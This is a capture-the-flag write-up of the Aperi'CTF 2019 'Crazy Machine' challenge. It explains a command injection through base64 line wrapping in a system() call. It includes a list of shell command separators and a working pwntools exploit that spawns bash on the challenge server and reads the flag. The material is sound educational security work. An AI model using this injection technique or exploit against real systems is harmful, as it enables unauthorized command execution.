Crazy Machine

Aperi'CTF 2019 - Pwn (100 pts).

Aperi’CTF 2019 - Crazy Machine

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Crazy Machine Pwn 100 8

We’re given a chall binary, its sources and the libc file.

Task description:

Reynholm Industries is a secretive company not willing to expose its activity.

Following an investigation, you discovered a strange service running on one of their servers.

Discover how this service works and get information about Reynholm Industries.

The service is running at crazy-machine.aperictf.fr:31338.

Reading the name of the challenge, we can prepare ourself to beat a weird and crazy service.

Since we’ve the source code, we can skip the reverse engineering part and perform code analysis.

Code analysis

First, let’s fire up Visual Studio Code and inspect the code.

Reading the C preprocessor part, we can identify the following header files:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/buffer.h>

If we’re focusing on uncommon headers, we can notice that the OpenSSL lib (dubbed libssl) is being used.

Let’s look how this lib is used in the code!

main()

The main() function mark stdin and stdout as unbuffered, print a menu and call function associated to the user entry (encode() and decode()).

encode()

The encode() function basically:

  • Get a string from user input (a custom fgets wrapper has been used here)
  • Pass the user input to base64() function
  • Perform weird things to the base64 output:
    • Strip the '=' from the base64 output
    • Strip the '\n' from the base64 output
    • Replace the '+' with ' ' from the base64 output
    • Build and execute a shell command based on the base64 output:
echo %s | fold -w2 | rev | tac | perl -p -e 's/[\n]//g'
      ^ command injection vector!

Ok, we’ve identified a shell command injection vector in the system() call, let’s analyze the base64() function to find how we can exploit this command injection.

base64()

The base64() function is basically an OpenSSL Base64 filter BIO wrapper.

Reading the examples documentation, we can see that the code is quite the same as the provided code. Moreover, there is no valuable known bug in the Base64 filter.

But there is a commented line that differs from the original example provided by the OpenSSL documentation:

// BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL); // Write everything in one line

This line is used to define the BIO_FLAGS_BASE64_NO_NL flag that will be used by the OpenSSL Base64 filter BIO to set wether the output will be wrapped to fit in a custom width.

Looking at the https://github.com/ewilded/shelling#command-separators-trickery, we can get the list of working commmand separators:

  • %0a (new line character)
  • %0d (carriage return character)
  • ;
  • &
  • |

Since the BIO_FLAGS_BASE64_NO_NL has not been defined, we can assume that we’ll be able to inject newlines on the output!

According to the Base64 manual:

wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping

To exploit the command injection we then should create a buffer containing a padding string that’ll fill the first column of the output and append a new column that will be executed as a command line.

Exploitation

Let’s run the challenge and try command injection:

nc crazy-machine.aperictf.fr 31338
 _____                      ___  ___           _     _
/  __ \                     |  \/  |          | |   (_)
| /  \/_ __ __ _ _____   _  | .  . | __ _  ___| |__  _ _ __   ___
| |   | '__/ _` |_  | | | | | |\/| |/ _` |/ __| '_ \| | '_ \ / _ \
| \__/| | | (_| |/ /| |_| | | |  | | (_| | (__| | | | | | | |  __/
 \____|_|  \__,_/___|\__, | \_|  |_/\__,_|\___|_| |_|_|_| |_|\___|
                      __/ |
                     |___/     ---  Reynholm Industries  ---

1 - Encode
2 - Decode
0 - Leave
Your choice:
=> 1
Your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHELLO
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
sh: 2: SEVMTE8: not found

Yeah! We finally got a command injection, but the HELLO string is not injected in cleartext, and has been encoded in base64.

Then, the injected command must be a blob that, after being passed into the base64 filter, will create the final command.

For example:

import base64

final_command = b'bash'
payload = base64.b64decode(final_command)

print(repr(payload))
print(repr(base64.b64encode(payload)))
b'm\xab!'
b'bash'

As described above, when our b'm\xab!' string is passed into the base64 filter, we successfully get our b'bash' command!

Additionally, we can bypass the rev tac and fold pipes by adding a new junk chunk to our payload:

base64

We can then build the final exploit:

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import base64
from pwn import *

def pad(data, length, char):
    pad_len = (length - (len(data) % length))
    return '%s%s' % (char * pad_len, data)

p = remote('crazy-machine.aperictf.fr', 31338)

p.recvuntil('Your choice:\n=> ')

payload = 'A'*48  # padding
payload += base64.b64decode(pad('/bin/bash', 64, '/'))  # exec command and fill the column.
payload += base64.b64decode('exit')  # append an additional junk command.

p.sendline('1')
p.recvuntil('Your string: ')
p.sendline(payload)
p.sendline('cat /data/flag')

p.interactive()
p.close()

The final flag is APRK{b3w4R3_0f_C0mM4nd_1nj3c710N!}

Happy Hacking!

Creased